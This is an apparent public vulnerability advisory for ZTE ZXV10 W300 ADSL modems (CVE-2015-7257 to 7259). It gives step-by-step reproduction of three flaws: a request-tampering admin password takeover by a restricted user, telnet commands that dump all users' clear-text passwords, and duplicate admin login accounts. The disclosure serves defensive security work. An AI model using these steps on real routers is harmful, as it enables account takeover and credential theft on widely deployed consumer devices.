86 lines
No EOL
2.2 KiB
Text
86 lines
No EOL
2.2 KiB
Text
# Exploit Title: [ZTE ADSL ZXV10 W300 modems - Multiple vulnerabilities]
|
||
# Discovered by: Karn Ganeshen
|
||
# Vendor Homepage: [www.zte.com.cn]
|
||
# Versions Reported: [W300V2.1.0f_ER7_PE_O57 and W300V2.1.0h_ER7_PE_O57]
|
||
|
||
*CVE-ID*:
|
||
CVE-2015-7257
|
||
CVE-2015-7258
|
||
CVE-2015-7259
|
||
|
||
*Note*: Large deployment size, primarily in Peru, used by TdP.
|
||
|
||
1 *Insufficient authorization controls*
|
||
*CVE-ID*: CVE-2015-7257
|
||
Observed in Password Change functionality. Other functions may be
|
||
vulnerable as well.
|
||
|
||
*Expected behavior:*
|
||
Only administrative 'admin' user should be able to change password for all
|
||
the device users. 'support' is a diagnostic user with restricted
|
||
privileges. It can change only its own password.
|
||
|
||
*Vulnerability:*
|
||
Any non-admin user can change 'admin' password.
|
||
|
||
*Steps to reproduce:*
|
||
a. Login as user 'support' password XXX
|
||
b. Access Password Change page - http://<IP>/password.htm
|
||
c. Submit request
|
||
d. Intercept and Tamper the parameter username change from 'support' to
|
||
'admin'
|
||
e. Enter the new password > old password is not requested > Submit
|
||
> Login as admin
|
||
-> Pwn!
|
||
|
||
|
||
2 *Sensitive information disclosure - clear-text passwords*
|
||
*CVE-ID*: CVE-2015-7258
|
||
Displaying user information over Telnet connection, shows all valid users
|
||
and their passwords in clear-text.
|
||
|
||
*Steps to reproduce:*
|
||
$ telnet <IP>
|
||
Trying <IP>...
|
||
Connected to <IP>.
|
||
Escape character is '^]'.
|
||
User Access Verification
|
||
Username: admin
|
||
Password: < admin/XXX1
|
||
|
||
$sh
|
||
ADSL#login show <-- shows user information
|
||
Username Password Priority
|
||
admin password1 2
|
||
support password2 0
|
||
admin password3 1
|
||
|
||
3 *(Potential) Backdoor account feature - **insecure account management*
|
||
*CVE-ID*: CVE-2015-7259
|
||
Same login account can exist on the device, multiple times, each with
|
||
different priority#. It is possible to log in to device with either of the
|
||
username/password combination.
|
||
|
||
It is considered as a (redundant) login support *feature*.
|
||
|
||
*Steps to reproduce:*
|
||
$ telnet <IP>
|
||
Trying <IP>...
|
||
Connected to <IP>.
|
||
Escape character is '^]'.
|
||
User Access Verification
|
||
User Access Verification
|
||
Username: admin
|
||
Password: <-- admin/password3
|
||
|
||
$sh
|
||
ADSL#login show
|
||
Username Password Priority
|
||
admin password1 2
|
||
support password2 0
|
||
admin password3 1
|
||
|
||
+++++
|
||
--
|
||
Best Regards,
|
||
Karn Ganeshen |